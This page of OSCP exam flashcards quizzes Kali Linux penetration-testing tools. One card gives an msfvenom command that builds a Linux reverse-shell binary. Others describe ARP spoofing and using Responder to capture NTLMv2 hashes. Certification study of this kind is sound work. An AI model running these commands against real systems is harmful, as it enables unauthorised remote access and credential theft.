← All OSCP Flashcard Decks

Kali Linux Flashcards

7 cards from real OSCP practice questions. Tap to flip, then mark Knew It or Still Learning — missed cards come back until you master them.

Read the first 7 Kali Linux flashcards as text
  1. Which Kali Linux command generates a reverse shell payload as an ELF binary for a Linux target?

    Answer: msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT= -f elf

    msfvenom with the linux/x86/shell_reverse_tcp payload and -f elf format generates a Linux ELF reverse shell binary.

  2. What Kali Linux tool would you use to perform ARP spoofing to intercept traffic between two hosts on a local network?

    Answer: Both arpspoof and ettercap are correct

    Both arpspoof (from dsniff suite) and ettercap can perform ARP spoofing attacks to position a Kali machine as a man-in-the-middle.

  3. When using Kali Linux's Wireshark, what display filter would show only HTTP GET requests?

    Answer: http.request.method == 'GET'

    The Wireshark display filter http.request.method == "GET" isolates packets containing HTTP GET requests for analysis.

  4. In Kali Linux, what is the function of 'responder' during an internal network engagement?

    Answer: Poisons LLMNR/NBT-NS/mDNS requests to capture NTLMv2 hashes

    Responder listens for LLMNR, NBT-NS, and mDNS broadcast queries and responds to them, tricking hosts into authenticating and capturing NTLMv2 credential hashes.

  5. Which command in Kali Linux sets a file's SUID bit to make it execute with the owner's privileges?

    Answer: chmod u+s filename

    chmod u+s sets the SUID bit on a file, causing it to run with the file owner's effective privileges — a key privilege escalation vector.

  6. What does the Kali Linux tool 'enum4linux' enumerate when run against a Windows or Samba target?

    Answer: SMB shares, users, groups, policies, and password policies

    enum4linux wraps smbclient and rpcclient to enumerate SMB shares, domain users, groups, and password policy information from Windows and Samba hosts.

  7. In Kali Linux, which command would you use to forward local port 8080 to a remote host's port 80 via SSH tunneling?

    Answer: ssh -L 8080:remotehost:80 user@sshserver

    ssh -L 8080:remotehost:80 creates a local port forward, binding local port 8080 and tunneling connections through the SSH server to remotehost:80.